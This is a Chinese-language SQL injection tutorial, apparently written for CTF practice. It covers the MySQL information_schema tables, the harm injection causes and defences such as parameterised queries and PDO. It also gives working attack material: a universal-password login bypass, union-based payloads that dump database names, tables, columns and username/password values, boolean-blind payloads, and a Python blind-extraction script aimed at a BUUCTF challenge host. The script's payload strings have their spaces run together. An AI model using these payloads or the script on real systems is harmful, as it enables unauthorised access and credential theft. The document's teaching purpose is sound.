前言
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接受相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。SQL就是一种数据库查询语言。
我们都知道web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并提供前端显示的资源,既然有资源,那么就需要有存储资源的地方——如mysql数据库、那服务器如何对数据获取?就需要使用SQL语句这一语法结构进行查询获取。SQL语句通过特有的语法对数据进行查询。
关于数据库
在MYSQL5.0版本后,MYSQL默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是schemata、tables、columns。
Schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为schema_name。
Tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是table_schema和table_name。
Columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为table_schema、table_name、columns_name。
SQL注入漏洞危害
SQL注入漏洞对于数据安全的影响:
数据库信息泄露:数据库中存放的用户的隐私信息的泄露。
网页篡改:通过操作数据库对特定网页进行篡改。
网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改。
服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
破坏硬盘数据,瘫痪全系统。
SQL注入防范
解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:
代码层面:
对输入进行严格的转义和过滤
使用参数化:目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了“拼接”的方式,所以使用时需要慎重。
PDO预处理(Java、PHP防范推荐方法):进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入
网络层面:
通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
云端防护(如阿里云盾)
注入可能存在的地方
既然是SQL注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1
如我们看见这种就可以考虑

或者是搜索框,前端用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据,如下

或者是HTTP请求头部字段如Cookie值。
常见的注入手法
联合查询
报错注入
基于布尔的盲注
基于时间的盲注
HTTP头注入
宽字节注入
堆叠查询
二次注入
联合查询
必备条件
- 界面能够回显数据库查询到的数据(必要条件);
- 界面回显内容至少能够显示数据库中的某列条件(必要条件);
- 部分能够直接提供数据库报错内容的回显;
万能密码
当用户登录时,后台执行的数据库查询操作(SQL语句)为
1
| Select user_id,user_type,email From users Where user_id='用户名' And password = '密码'
|
由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名admin和万能密码2’ or 1时,执行的SQL语句为
1
| Select user_id,user_type,email From users Where user_id='admin' And password ='2' or' 1'
|
同时,由于SQL语句中逻辑运算符具有优先级,=优先于and,and优先于or,且适用传递性,因此,此SQL语句在后台解析时分成两句
1
| Select user_id,user_type,email From users Where user_id='admin' And password ='2' 和' 1'
|
两句bool值进行逻辑or运算,恒为TRUE,SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
万能密码成功后是以第一个用户登录进去的
猜测字段数
若SQL报错则大于字段数
判断回显位置
根据字段数来判断
1
| 1' union select 1,2,3,4#
|
可根据页面回显的数字来判断回显位置
获取全部数据库名
假设回显位置为1,2
1
| 1' union select 1,group_concat(schema_name) from information_schema.schemata
|
获取表名
1
| 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
|
获取字段名
1
| 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='study'#
|
获取值
1
| 1' union select 1,group_concat(username,0x7e,password) from 库名.表名
|
基于布尔的盲注
布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错,由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。
使用函数理解
IF()函数

SUBSTR()函数

获取全部数据库名
1
| 1' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))>97,1,0)#
|
获取表名
1
| 1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='库名'),1,1))>97,1,0)#
|
获取字段名
1
| 1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),1,1))>97,1,0)#
|
获取值
1
| 1' and if(ascii(substr((select group_concat(flag) from 库名.表名),1,1))>97,1,0)#
|
布尔盲注脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import requests import time
if __name__ == '__main__': result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'1andif(ascii(substr((selectgroup_concat(schema_name)frominformation_schema.schemata),{i},1))>{mid},1,0)%23' payload = f'1andif(ascii(substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=""),{i},1))>{mid},1,0)%23' # payload = f'1andif(ascii(substr((selectgroup_concat(column_name)frominformation_schema.columnswheretable_name=""),{i},1))>{mid},1,0)%23' # payload = f'1andif(ascii(substr((selectgroup_concat()fromflag),{i},1))>{mid},1,0)%23' # print(payload) url = f"http://9fac26b7-f8d9-455e-b7d2-2986864286ff.node5.buuoj.cn:81/?stunum={payload}" # print(url) # data={ # "":f"admin' and {payload}#", # # } r = requests.get(url=url) if 'admin' in r.text: low = mid + 1 # time.sleep(0.1) else: high = mid if low != 32: result += chr(low) print(result) else: break
|